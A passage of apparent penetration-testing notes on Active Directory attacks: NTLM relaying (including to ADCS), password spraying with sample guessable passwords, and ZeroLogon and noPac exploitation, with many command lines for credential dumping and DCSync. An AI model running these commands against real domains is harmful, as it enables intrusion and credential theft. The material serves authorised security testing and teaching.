python3 ntlm_theft.py --generate all -s <IP> -f <OUTPUT_FOLDER>
```

**Exchange Web Services (EWS) SOAP API**

TODO

### NTLM authentication relay

**Hosts with SMB signing disabled**

First, a list of host with `SMB signing` must be gathered.

Either `nmap`, `CMEv4` or `PingCastle` (personal favorite) can be used to gather a list of host with `SMB signing` disabled and output the result to a file:

```bash
PingCastle.exe -> 5-scanner -> a-smb -> 1-all

nmap -v -sU -sS --open -oA nmap_smb_signing_off --script smb-security-mode.nse -p U:137,T:139,445 <TARGETS>
cat nmap_smb_signing_off.nmap | grep -B 14 "message_signing: disabled" | grep "Nmap scan report for" | cut -d " " -f 5 > <FILE>

cme smb <HOSTNAME | IP | CIDR | TARGETS_FILE> --gen-relay-list <FILE>
```

**Relay primitives to SMB, LDAP/S, MSSQL, HTTP/S services**

The `Impacket`'s `ntlmrelayx.py` or `MultiRelay.py`, that comes with the `Responder` toolkit for example, `Python` scripts can be used to relay the `NTLM` authentication.

By default, `ntlmrelayx` will dump the `SAM` base of the system the authentication is relayed to. As that functionality may sometimes fail, the execution of a unitary command could be preferred instead.

`ntlmrelayx` additionally implements the deployment of a `SOCKS` server that holds all the relayed sessions active and serves them to `SOCKS` clients. When started with the `-socks` option, `ntlmrelayx` will keep the authenticated sessions on hold, through protocols specific `KeepAlive` methods, and will allow `SOCKS` clients to connect to the targeted remote host through the `SOCKS` server by leveraging an active session. More information on the implementation can be found on the `Impacket` maintainer's blog: `https://www.secureauth.com/blog/playing-relayed-credentials`.

`ntlmrelayx` supports relaying `NTLM` authentication through the following protocols:

* `SMB` / `SMB2`
* `LDAP` / `LDAPS`
* `MSSQL`
* `IMAP` / `IMAPS`
* `HTTP` / `HTTPS`
* `SMTP`

The authentication can be relayed to a specific service (such as `smb://<TARGET_IP | TARGET_HOSTNAME>`, `ldaps://<TARGET_IP | TARGET_HOSTNAME>`, etc.) or to all services (`all://<TARGET_IP | TARGET_HOSTNAME>`) of the targeted system.

```bash
MultiRelay.py -t <TARGET_IP | TARGET_HOSTNAME> -c '<COMMAND>' -u '<ALL | USERNAME_TO_RELAY>'

# The TARGETS_FILE file should contain a list of target(s) in the form of [<SERVICE | all>://]<TARGET_IP | TARGET_HOSTNAME>, with one target per line.
ntlmrelayx.py [-smb2support] -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -l <DIRECTORY_OUTPUT>
ntlmrelayx.py [-smb2support] -tf <TARGETS_FILE> -l <DIRECTORY_OUTPUT>
ntlmrelayx.py [-smb2support] -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -c <COMMAND>

# SOCKS usage examples

# Starts ntlmrelayx.py in SOCKS proxy mode
ntlmrelayx.py [-smb2support] -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -socks
ntlmrelayx.py [-smb2support] -tf <TARGETS_FILE> -socks

# Lists the active sessions.
ntlmrelayx> socks
  Protocol  Target          Username                                 Port
  --------  -------------   ------------------------------           ----
  SMB       <IP_SMB_EX>     <DOMAIN | HOSTNAME>/<USERNAME_SMB_EX>    445
  MSSQL     <IP_MSSQL_EX>   <DOMAIN | HOSTNAME>/<USERNAME_MSSQL_EX>  1433
  SMTP      <IP_SMTP_EX>    <DOMAIN | HOSTNAME>/<USERNAME_SMTP_EX>   25
  IMAP      <IP_IMAP_EX>    <DOMAIN | HOSTNAME>/<USERNAME_IMAP_EX>   143

# Proxychains can be used to proxy commands network traffic through ntlmrelayx SOCKS service. Some tools may natively embed SOCKS4 proxy support.
# Configuration and usage of Proxchains.
# Configurationfile: /etc/proxychains.conf
[ProxyList]
socks4 	<LOCAL_HOST_RUNNING_NTLMRELAYX_IP> 1080

# The ntlmrelayx "SOCKS Relay Plugin" will handle the connection and fake the login process in order to tunnel an authenticated connection.
# If a password is required by the tool used, a random password can be provided.

# SMB examples.
proxychains smbclient //<IP_SMB_EX>/<SHARE> -U <DOMAIN>/<USERNAME_SMB_EX>
proxychains secretsdump.py <DOMAIN>/<USERNAME_SMB_EX>@<IP_SMB_EX>
[...]

# MSSQL example.
proxychains mssqlclient.py -windows-auth <DOMAIN>/<USERNAME_MSSQL_EX>@<IP_MSSQL_EX>

# SMTP example.
Thunderbird can be configured to make use of ntlmrelayx SOCKS service.
The Authentication method should be set to "Normal Password" and the (Server Setting->Advanced) "Maximum number of server connections to cache" set to 1.
The under "Network Setting" the SOCKS service can be specifed.
For more information, refer to: https://www.secureauth.com/blog/playing-relayed-credentials.
```

**IPv6 WPAD relay**

The `Impacket`'s `ntlmrelayx.py` utility can be used to relay `NTLM` authentication captured using the `mitm6` utility.

```
# The authentication can be relayed to a specific service, such as smb://<TARGET_IP | TARGET_HOSTNAME> or ldaps://<TARGET_IP | TARGET_HOSTNAME>
# -wh: the specified WPAD hostname should be a hostname not in use in the victim network

ntlmrelayxpy -6 [-smb2support] -wh <FAKE_WPAD_HOST> -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE>
ntlmrelayxpy -6 [-smb2support] -wh <FAKE_WPAD_HOST> -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -c <COMMAND>
ntlmrelayxpy -6 [-smb2support] -wh <FAKE_WPAD_HOST> -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -socks
```

**Account takeover through relaying to Active Directory Certificate Services (ADCS)**

If an `Active Directory Certificate Services (ADCS)` is configured in the environment, and a number of prerequisites are meet (detailed below), `NTLM` authentication can be relayed to `ADCS` to request a certificate under the identity of the relayed account. If an authentication for a Domain Controller is relayed, for instance by exploiting `MS-EFSRPC` `RPC` functions (`PetitPotam` attack), a certificate for the `DomainController` template may be obtained, and `DRSUAPI` replication (`DCSync` attack) further undertaken using the certificate.

The following conditions must be satisfied for the attack to be exploitable:

* `ADCS` must expose either the `Certificate Authority Web Enrollment` or `Certificate Enrollment Web Service` service.
* The web enrollment services must be exposed over `HTTP` (and not only `HTTPS`) and the `NTLM` `Extended Protection for Authentication (EAP)` extension must not be required for the `ADCS` webservices. The `NTLM` `EAP` extension, working only over `HTTPS`, add a binding for the `SSL / TLS` certificate (in the `NetNTLM`' response's `Channel Bindings` attribute) for which the `NTLM` authentication was initially addressed. Upon reception of the `NetNTLM` response, the webserver supporting `EAP` will be able to validate that the authentication was initially addressed to it (and not to another webserver and relayed to it).
* `NTLM` authentication is not disabled at a domain level or `ADCS` level.

For more information on the defensive mitigations that can be deployed in `ADCS` to prevent `NTLM` relaying, refer to the [`Microsoft KB5005413`](https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429).

```bash
# Certify can be used to check if the certificate authority of the targeted domain expose web enrollment services.
# For more information on ADCS, refer to the "[ActiveDirectory] Certificate Services" note.
Certify.exe cas [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>]

# By default, ntlmrelayx will attempt to request a certificate for either the User or Machine template (depending on the relayed user account name).
# For Domain Controller authentication relaying, the DomainController template should be specified.
ntlmrelayx.py -t <http://<CA_DNS_HOSTNAME>/certsrv/ | WEB_ENROLLMENT_URL> -smb2support --adcs [--template <DomainController | User | Machine | CERTIFICATE_TEMPLATE>]

# Rubeus can then be used to request a TGT, and eventually unPAC a subsequent U2U ticket to retrieve the NTLM / NTHash, of the account.
# For more information on Kerberos tickets usage, refer to the "[ActiveDirectory] Kerberos tickets usage" note.
# For more information on the unPAC process of the U2U ticket, refer to the "[ActiveDirectory] Certificate Services" note (section "Client authentication certificate usage and NTHash / NTLM hash retrieval").
Rubeus.exe asktgt [/dc:<DC_IP | DC_HOSTNAME>] [/domain:<DOMAIN>] /user:<USERNAME> /certificate:<BASE64_CERTIFICATE> [/ptt | /getcredentials /show]
```

**Machine takeover through relaying and Kerberos resource-based constrained delegations**

<https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/>

ATTACK 4:RESOURCE BASED CONSTRAINED DELEGATION ANYONE?

**Machine takeover through relaying and Shadow Credentials**

<https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/>

Attack 5: LDAP is Fun, Especially With Shadow Credentials

***

### References

<https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html>

<https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning>

<https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python>

<https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/>

<https://www.secureauth.com/blog/playing-relayed-credentials>

<https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc160954(v=msdn.10)?redirectedfrom=MSDN>

<https://github.com/NotMedic/NetNTLMtoSilverTicket>

<https://blog.netspi.com/exploiting-adidns/#adidnszones>

<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/active-directory-integrated-dns-zones>

<https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/>

<https://www.synacktiv.com/publications/dissecting-ntlm-epa-with-love-building-a-mitm-proxy.html>

<https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>


# Exploitation - Password spraying

Password spraying refers to the attack method that takes a large number of usernames and attempts authentication with a limited number of likely passwords.

This method avoids accounts lockouts which is usually implemented on Active Directory authentication.

Password spraying all domain users and attempting lateral or vertical movement with the compromised accounts is often more effective than targeting specific users from the get-go.

### Usernames list

**Generated usernames**

The [following Python script](https://gist.github.com/superkojiman/11076951) can be used to generate an usernames list from combinations of first and last names.

```
#!/usr/bin/env python
import sys
import os.path

# Usage: namemash.py <FILE>.
# FILE: FIRSTNAME LASTNAME entries (one per-line).
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("usage: {} names.txt".format((sys.argv[0])))
        sys.exit(0)

    if not os.path.exists(sys.argv[1]):
        print("{} not found".format(sys.argv[1]))
        sys.exit(0)

    for line in open(sys.argv[1]):
        name = ''.join([c for c in line if  c == " " or  c.isalpha()])

        tokens = name.lower().split()

        # skip empty lines
        if len(tokens) < 1:
            continue

        fname = tokens[0]
        lname = tokens[-1]

        print(fname + lname)           # johndoe
        print(lname + fname)           # doejohn
        print(fname + "." + lname)     # john.doe
        print(lname + "." + fname)     # doe.john
        print(lname + fname[0])        # doej
        print(fname[0] + lname)        # jdoe
        print(lname[0] + fname)        # djoe
        print(fname[0] + "." + lname)  # j.doe
        print(lname[0] + "." + fname)  # d.john
        print(fname)                   # john
        print(lname)                   # joe
```

**From domain controllers**

To gather a list of usernames from the domain controllers a domain account is needed.

The `Get-DomainUserList` cmdlet of `DomainPasswordSpray` can be used to enumerate enabled users that would not be locked out by a wrong password guess:

```
Get-DomainUserList` -Domain <DOMAIN> -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii <OUTPUTFILE>
```

To count the number of user in the domain:

```
cat <USERNAMES_FILE> | Measure-Object
```

For more details on possible options, notably to enumerate users from a non enrolled computer, refer to the `Active Directory - Domain Recon` note.

**LDAP Anonymous and NULL bind**

Misconfigured LDAP servers may be exploited to leak the usernames of the domain account. By default, anonymous operations to the Active Directory `Domain Controllers` `LDAP` services, other than `rootDSE` searches and binds, are not permitted. If the seventh character of `DsHeuristics` (`CN=Directory Service, CN=Windows NT,CN=Services,CN=Configuration,<ROOT>`) attribute is set to 2 (0000002), anonymous clients, authenticated through anonymous / NULL LDAP bind, may perform all the operations permitted, as defined by the `Access Control List (ACL)` of the domain objetcs, to `NT AUTHORITY\ANONYMOUS`.

To detect and exploit LDAP Anonymous and NULL bind refer to the `L7 - LDAP` note.

**MSRPC NULL bind on Domain Controllers**

Misconfigured permissions may allow a NULL bind on the `SAMR` or `LSARPC` `RPC` services on a `Domain Controller`, which could be leveraged to enumerate the AD domain user and password policy.

For more information on `MSRPC` NULL bind, refer to the `[L7] MSRPC - Methodology` note.

**Kerberos bruteforce**

`Kerberos` can be used to enumerate domain accounts by making `Ticket-Granting Ticket (TGT)` requests, with no pre-authentication, to the `Key Distribution Center (KDC)` with out the need of having a domain joined account.

Indeed, whenever an username specified for a `TGT` request does not exist, the `KDC` will respond with a `KDC_ERR_C_PRINCIPAL_UNKNOWN` error. If the account does exist, the `KDC` will request a pre authentication before delivering the `TGT` (`KDC_ERR_PREAUTH_REQUIRED`).

Note that if an account has the value `DONT_REQ_PREAUTH` in the `UserAccountControl` attribute, a `TGT` will be delivered with out pre authentication which allows for the offline brute-forcing of the `TGT`. Refer to the `Active Directory - AS-REP Roasting` note for more information on the attack.

`Rubeus` (Zer1to’s fork: <https://github.com/Zer1t0/Rubeus>), `nmap`'s `krb5-enum-users` script, `Kerbrute` and `metasploit`'s `auxiliary/gather/kerberos_enumusers` module can be used to enumerate usernames through `Kerberos`:

```
nmap -v -p 88 --script krb5-enum-users --script-args krb5-enum-users-realm='<DOMAIN_FQDN>',userdb=<WORDLIST_USER> <KDC_IP | KDC_HOSTNAME>

kerbrute userenum [--dc <KDC_IP | KDC_HOSTNAME>] -d <DOMAIN> <WORDLIST_USERS>

# Will conduct password bruteforcing as well
Rubeus.exe brute /users:<WORDLIST_USERS> /passwords:<WORDLIST_PASSWORDS> /domain:<DOMAIN> /outfile:<RESULT_FILE>

use auxiliary/gather/kerberos_enumusers
```

### Passwords list

For the success of a password attack, a good password list is essential.

The passwords must satisfied the password policy defined for the domain. To retrieve the password policy enforced, refer to the Active Directory - Domain Recon note.

The following passwords have been tried with great success:

```
<COMPANY_NAME><YEAR>
<COMPANY_NAME><YEAR>!
Bonjour<YEAR>
Bonjour<YEAR>!
Azerty1234
Azerty1234!
```

### Password and account lockout policies

The following commands can be used to determine the password and account lockout policies enforced on the domain:

```
# Parsed and human readable password and lockout policies
net accounts
net accounts /domain

# PowerShell
$RootDSE = Get-ADRootDSE
$RootDSE = Get-ADRootDSE -Server <DC> -Credential <PSCredential>
# Password policy
Get-ADObject $RootDSE.defaultNamingContext -Properties minPwdAge, maxPwdAge, minPwdLength, pwdHistoryLength, pwdProperties
# Account lockout policy
Get-ADObject $RootDSE.defaultNamingContext -Properties lockoutDuration, lockoutObservationWindow, lockoutThreshold

# AdFind.exe
AdFind.exe -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
```

Default password complexity rule (`pwdProperties : 1`) of Active Directory requires that passwords contain characters from three of the following five categories:

* Uppercase characters of European languages
* Lowercase characters of European languages
* Base 10 digits (0 through 9)
* Nonalphanumeric characters: ``~!@#$%^&*_-+=\`|\(){}[]:;"'<>,.?/``
* Any Unicode character that is categorized as an alphabetic character but is not uppercase or lowercase (includes Unicode characters from Asian languages)

The `badPwdCount` is reset to 0 after:

* the `lockoutObservationWindow` time has completed with out a bad password attempt
* a successful authentication was conducted
* in case of a locked out account, the `lockoutDuration` time has completed or the account was manually unlocked

Note that, for some reason, the `minPwdAge` and `maxPwdAge` password policy properties and the lockout time is expressed in negative nanoseconds and must be divided by "-600000000" to be converted in effective minutes of lockout.

The following PowerShell one-liner can be used to this end:

```
$AccountPolicy = Get-ADObject $RootDSE.defaultNamingContext -Properties lockoutDuration, lockoutObservationWindow, lockoutThreshold

$AccountPolicy | Select @{n="PolicyType";e={"Account Lockout"}}, DistinguishedName, @{n="lockoutDuration";e={"$($_.lockoutDuration / -600000000) minutes"}}, @{n="lockout
ObservationWindow";e={"$($_.lockoutObservationWindow / -600000000) minutes"}}, lockoutThreshold | Format-List
```

**Fined Grained Password Policy enumeration**

Introduced in the `Windows Server 2008` Active Directory functional level, `Fined Grained Password Policy (FGPP)` is a functionality that allow the definition of password complexities and account lockout policies for different groups of users.

Note that while first available in `Windows Server 2008`, administrative tools adapted to the configuration of `FGPP` were released with `Windows Server 2012`.

```
# Enumerates the FGPP configured (including the FGPP's name, the AD group it applies to, password complexity and lockout policy).
Get-ADFineGrainedPasswordPolicy -Filter *

# Lists the users that are not associated to all or a specific FGPP.
$FGPP_groups = @("<FGPP_GROUP>" | "<FGPP_GROUP1>", "<FGPP_GROUP2>")

$FGPP_users = foreach ($group in $FGPP_groups) {
    Get-ADGroupMember -Recursive $group | Select SamAccountName
}

$all_users = Get-ADUser -Filter * | Select SamAccountName

(Compare-Object $all_users $FGPP_users).InputObject
```

### Spraying

**\[Windows] Automated enumeration and spraying**

*smartbrute - Recommended*

[`smartbrute`](https://github.com/ShutdownRepo/smartbrute) is a Python utility that can be used to both conduct unauthenticated and authenticated password spraying (to first retrieve password policies and avoid accounts lock out).

`smartbrute` supports both authentication bruteforce over `NTLM` or `Kerberos` (pre-authentication). `NTLM` authentication failures will generate `4625` failed logon events, while `Kerberos` pre-authentication failures will generate `4771` `Kerberos` pre-authentication failed events.

```
# Unauthenticated password spraying.
smartbrute.py brute -d <DOMAIN> [--no-enumeration] [--line-per-line] <-bu <USERNAME> | -bU <USERNAME_FILE>> <-bp <PASSWORD> | -bP <PASSWORDS_FILE> | -bh <HASH> | -bH <HASHES_FILE>> <ntlm | kerberos>

# Authenticated password spraying to retrieve the password policies and avoid account lockouts.
# AUTH_PROTOCOL & BRUTEFORCE_PROTOCOL can both be ntlm or Kerberos.
smartbrute.py smart [--line-per-line] <-bp <PASSWORD> | -bP <PASSWORDS_FILE> | -bh <HASH> | -bH <HASHES_FILE>> <AUTH_PROTOCOL> -d <DOMAIN> -u <AUTH_KNOWN_USER> -p <AUTH_KNOWN_PASSWORD> <BRUTEFORCE_PROTOCOL>
```

*SharpHose - Recommended*

`SharpHose` is a C# tool that enumerate the AD domain users and password policies, including `fine-grained password policies` (Active Directory domain functional level must be `Windows Server 2012` or newer). The `fine-grained password policies` are linked to the users or groups they apply to in order to precisely determine if an account can be safely bruteforced.

In addition to password spraying, `SharpHose` can be used to enumerate the domain policies or list the users the specified domain policy is applied to.

```
# Sprays the specified password
SharpHose.exe --action SPRAY_USERS --auto --spraypassword <PASSWORD> --output <OUTPUT_FOLDER>
SharpHose.exe --action SPRAY_USERS --domain "<DOMAIN>" --controller "<DC_IP | DC_HOSTNAME>" --username "<USERNAME>" --password "<PASSWORD>" --auto --spraypassword <PASSWORD> --output <OUTPUT_FOLDER>

# Enumerates the domain password policy and domain fine-grained password policies
SharpHose.exe --action GET_POLICIES

# Lists the users the specified password policy is applied to
SharpHose.exe --action GET_POLICY --policy
```

*Invoke-DomainPasswordSpray*

The PowerShell cmdlet `Invoke-DomainPasswordSpray` will generate the usernames list of enabled domain accounts and will automatically attempt to detect the domain's lockout policy. Sprays are restricted to one attempt during the lockout window and accounts that would not be locked out by a wrong password guess.

An optional usernames list file can also be provided.

```
Invoke-DomainPasswordSpray -Force -Domain <DOMAIN> -Password <PASSWORD> -OutFile <OUTPUTFILE>
Invoke-DomainPasswordSpray -Force -Domain <DOMAIN> -PasswordList <PASSWORDS_FILE> -OutFile <OUTPUTFILE>
```

**\[Linux] Over SMB**

`spray.sh` is a bash scrip that can be used to carry out Active Directory passwords spraying. It will conduct the brute force over `SMB` using the `rpcclient` utility.

It can use the password policy of the domain as input to prevent accounts lockout.

```
# "skipuu" option to skip trying the username as password
spray.sh -smb <DC_IP> <WORDLIST_USERS> <WORDLIST_PASSWORDS> <ATTEMPTS_PER_LOCKOUT_PERIOD> <LOCKOUT_PERIOD_IN_MINUTES> <DOMAIN> skipuu

# Example
spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABS
```

To retrieve the obtained accounts:

```
grep 'Authority Name' logs/spray-logs.txt
grep -v NT_STATUS_LOGON_FAILURE logs/spray-logs.txt
```

**Over Kerberos**

Note that log-on failures over Kerberos do not generate the classical Windows Security Log `Event ID 4625: An account failed to log on`. Indeed, the failures are logged as Windows Security Log `Event ID 4771: Kerberos pre-authentication failed`, that have an higher chance of not being monitored. It will still howerver increment the failed login count and lock out accounts.

`Rubeus` (Zer1to’s fork: <https://github.com/Zer1t0/Rubeus>) and `Kerbrute` can be used to conduct passwords spraying attacks through Kerberos:

```
kerbrute passwordspray [--dc <KDC_IP | KDC_HOSTNAME>] <DOMAIN> <WORDLIST_USERS> '<PASSWORD>'
# Username and password combinations in the format username:password
kerbrute bruteforce [--dc <KDC_IP | KDC_HOSTNAME>] <DOMAIN> <WORDLIST_USERS_PASSWORDS>

Rubeus.exe brute /users:<WORDLIST_USERS> /passwords:<WORDLIST_PASSWORDS> /domain:<DOMAIN> /outfile:<RESULT_FILE>
```

***

### References

<https://social.technet.microsoft.com/Forums/ie/en-US/79978325-549e-42b3-a532-1e26775982bf/how-to-reset-badpwdcount-value?forum=winserverDS>


# Exploitation - Domain Controllers CVE

### RCE on exposed Windows services

The services exposed by the Domain Controllers may be vulnerable to well known critical vulnerabilities that can be leveraged to remotely execute code on a vulnerable Domain Controller.

The following vulnerabilities are worth mentioning:

| Vulnerability                | Service                            | Patch release date | Note                                                                                                                                           |
| ---------------------------- | ---------------------------------- | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------- |
| `EternalBlue` / `MS17-010`   | `SMB`: TCP Port 445                | March 14, 2017     | `[L7] 445 SMB`                                                                                                                                 |
| `BlueKeep` / `CVE-2019-0708` | `Terminal Services`: TCP port 3389 | May 13, 2019       | <p>Vulnerable operating systems:<br><= <code>Windows 2008 / 2008 R2</code><br><= <code>Windows 7</code><br><br><code>\[L7] 3389 RDP</code></p> |

### (Likely patched) MS14-068

`MS14-068` is a vulnerability that lies in the Microsoft implementation of the `Kerberos` protocol. A problem in the verification of the `Privilege Attribute Certificate (PAC)` in a `Kerberos` `service ticket` request allows any domain user may to forge a `PAC` with arbitrary privileges.

The `Metasploit`'s `ms14_068_kerberos_checksum` module can be used to request a `kerberos` `Ticket-Granting Ticket (TGT)` with a forged `PAC`. The `TGT` is exported by the module is the `credential cache (ccache)` format. Refer to the `[ActiveDirectory] Kerberos tickets usage` for more information on how to use the `Kerberos` ticket from Windows and Linux operating systems.

```
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
```

### ZeroLogon - CVE-2020-1472

`ZeroLogon` is a critical security flaw (`CVSS` score: 10.0) in the Active Directory `Netlogon Remote Protocol` `MSRPC` protocol (`MS-NRPC`).

As stated in the [original research publication](https://www.secura.com/blog/zero-logon): "The vulnerability stems from a flaw in a cryptographic authentication scheme used by the `Netlogon Remote Protocol`, which among other things can be used to update computer passwords. This flaw allows attackers to impersonate any computer, including the domain controller itself, and execute remote procedure calls on their behalf."

Knowledge of the targeted Domain Controller (`DC`) machine account password can notably be leveraged to conduct `DCSync` attacks.

However, resetting the `DC` machine account password through this attack will break communications with others `Domain Controllers` and make the `DC` misbehave in undefined ways. As the password is only updated in the Active Directory `ntds.dit` database, the previous `DC` machine account password can be retrieved in the `HKLM\Security` hive (`HKLM\SECURITY\Policy\Secrets\ $machine.ACC`) of the `DC` and restored.

**Exploitation in Python - Impacket update**

For exploit code using `impacket`, the library must be updated to, at least, the version published on `September 15th 2020` (update to the `dcerpc.v5.nrpc` library). In order to do so, a Python `virtualenv` can be created or the system-wide `impacket` installation updated:

```
# Creation of a Python virtualenv
git clone https://github.com/dirkjanm/CVE-2020-1472
cd CVE-2020-1472
python3 -m pip install virtualenv
python3 -m virtualenv impkt
source impkt/bin/activate
pip install git+https://github.com/SecureAuthCorp/impacket

# System wide update from sources.
apt remove --purge impacket impacket-scripts python-impacket python3-impacket
apt autoremove
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
pip3 install .
python3 setup.py install
```

Alternatively, static standalone binaries (embedding `impacket`) for Windows and Linux (both x64) are available in the following GitHub repository: `https://github.com/Qazeer/dirkjanm_CVE-2020-1472_static_binaries`.

**0. Detection**

Multiple tools may be used to detect if the Domain Controllers are vulnerable to the `ZeroLogon` vulnerability.

`PingCastle`'s `zerologon` scanner presents the advantage of automatically enumerating the Domain Controllers through AD requests and conduct scan for all the enumerated Domain Controllers. It however can only be executed from a machine integrated in the targeted Active Directory domain.

```
PingCastle.exe --scanner zerologon --scmode-dc

# The -patch flag is required to conduct the scan from a non domain-joined client.
# Compiled binary: https://github.com/r3motecontrol/Sharp-Suite-CompiledBinaries
SharpZeroLogon.exe <DC_FQDN> <-patch>

Invoke-Zerologon -FQDN <DC_FQDN>
```

**1. DC machine account password reset**

Multiple tools may be used to exploit the `ZeroLogon` vulnerability to set an empty password for the targeted `DC` machine account.

```
secretsdump_linux -just-dc -no-pass "<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>"
secretsdump_windows.exe -just-dc -no-pass "<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>"

# Source: https://github.com/dirkjanm/CVE-2020-1472
python3 cve-2020-1472-exploit.py <DC_NETBIOS_NAME> <DC_IP>

msf > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set action REMOVE
...

# The -patch flag is required to conduct the scan from a non domain-joined client.
# Compiled binary: https://github.com/r3motecontrol/Sharp-Suite-CompiledBinaries
SharpZeroLogon.exe <DC_FQDN> -reset <-patch>

Invoke-Zerologon -FQDN <DC_FQDN> -Reset
```

**2. Empty password DCSync**

`Impacket`'s `secretsdump` or `mimikatz` may be used to conduct replication operations (`DCSync`) using the `DC` machine account with an empty password.

```
secretsdump.py -just-dc -no-pass '<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>'

# Static compiled binary: https://github.com/ropnop/impacket_static_binaries
secretsdump_windows.exe -just-dc -no-pass '<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>'
secretsdump_linux_x86_64 -just-dc -no-pass '<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>'

mimikatz # lsadump::dcsync /domain:<DOMAIN> /dc:<DC_FQDN> /user:<krbtgt | USERNAME> /authuser:<DC_MACHINE_ACCOUNT$> /authdomain:<DOMAIN_NETBIOS_NAME> /authpassword:"" /authntlm
```

**3. DC machine account password restoration**

Remote access to the `HKLM\SECURITY` registry hive requires `Domain Admin` privileges. Access conducted using the DC machine account thus result in access denied error (`rpc_s_access_denied`). The extraction of the `DC` plaintext machine password from the `HKLM\SECURITY` registry hive must be done using of the `Domain Admin` accounts compromised during the previous `DCSync` attack.

`Impacket`'s `secretsdump.py` Python script can be used to remotely extract the `DC` machine account secrets from the `HKLM\SECURITY` registry hive. A version post the 15th 2020 update should be used as it will automatically dump the plaintext machine password hex encoded required for the restoration (using dirkjanm's `restorepassword.py` Python script and the `Metasploit`'s `cve_2020_1472_zerologon` module).

Alternatively, remote code execution using `Domain Admin` or `Operators` credentials can be leveraged to retrieve the `HKLM\SAM`, `HKLM\SECURITY`, and `HKLM\SYSTEM` registry hives from the `DC` and `Impacket`'s `secretsdump.py` Python script used to locally extract the DC machine password from the hives. Refer to the `[Windows] Lateral movements` and `[Windows] Post exploitation` notes for more information.

```
# Retrieves the original DC machine account hex encoded plain-text password and NTLM hash.
secretsdump.py -hashes ":<NTLM>" '<DOMAIN>/<Administrator | DA_USERNAME>@<DC_IP>'

# Restore the DC machine account original password.

restorepassword_windows.exe -target-ip "<DC_IP>" -hexpass "<DC_MACHINE_ACCOUNT_HEX_PASSWORD>" "<DOMAIN>/<DC_HOSTNAME>@<DC_HOSTNAME>"
restorepassword_linux -target-ip "<DC_IP>" -hexpass "<DC_MACHINE_ACCOUNT_HEX_PASSWORD>" "<DOMAIN>/<DC_HOSTNAME>@<DC_HOSTNAME>"

# Source: https://github.com/dirkjanm/CVE-2020-1472
python3 restorepassword.py -target-ip <DC_IP> -hexpass <DC_MACHINE_ACCOUNT_HEX_PASSWORD> '<DOMAIN>/<DC_HOSTNAME>@<DC_HOSTNAME>'

msf > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set action RESTORE
...

# Source: https://github.com/risksense/zerologon
python3 reinstall_original_pw.py <DC_NETBIOS_NAME> <DC_IP> <ORIGINAL_NTLM_HASH>
```

### CVE-2021-42278 and CVE-2021-42287

The combination of the [`CVE-2021-42278`](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278) and [`CVE-2021-42287`](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041) vulnerabilities allow any domain authenticated user to impersonate another (potentially privileged) domain user. The security updates to address both vulnerabilities were released in mid-November 2021.

The `CVE-2021-42278` vulnerability is based on the fact that computer account `sAMAccountName` restriction are not properly enforced, and a computer account with a non "$" ending name can be created in the domain. The `CVE-2021-42287` vulnerability is an improper validation by the `Kerberos Key Distribution Center (KDC)` of the user requesting a `Service Ticket (ST)` (using a `Ticket-Granting Ticket (TGT)`). The `KDC` will indeed automatically perform a lookup for the account appended with a "$" if the account the `TGT` was emitted to is not found. By combining both vulnerabilities, it is possible to ultimately obtain a `S4U2self` ticket impersonating an arbitrary user for a Domain Controller service.

The exploitation steps are as follow:

1. Creation of a machine account (optional if a computer account is already compromised. The exploit will require modification of the machine account's `sAMAccountName` and `servicePrincipalName` attributes).
2. Clearing of the `servicePrincipalNames (SPNs)` of the created / controlled machine account. Clearing the `SPN` attribute is required, as the renaming operation below would otherwise fail. Change to the `sAMAccountName` attribute are indeed propagated to the `SPN` attribute, and a conflict with the Domain Controller already existing `SPNs` would arise (as `SPNs` must be unique in the domain).
3. Renaming the created / controlled machine account's `sAMAccountName` to a Domain Controller machine account, except for the trailing "$" (`CVE-2021-42278`). Example `sAMAccountName`: `DC01`.
4. Requesting a `TGT` for the created / controlled machine account.
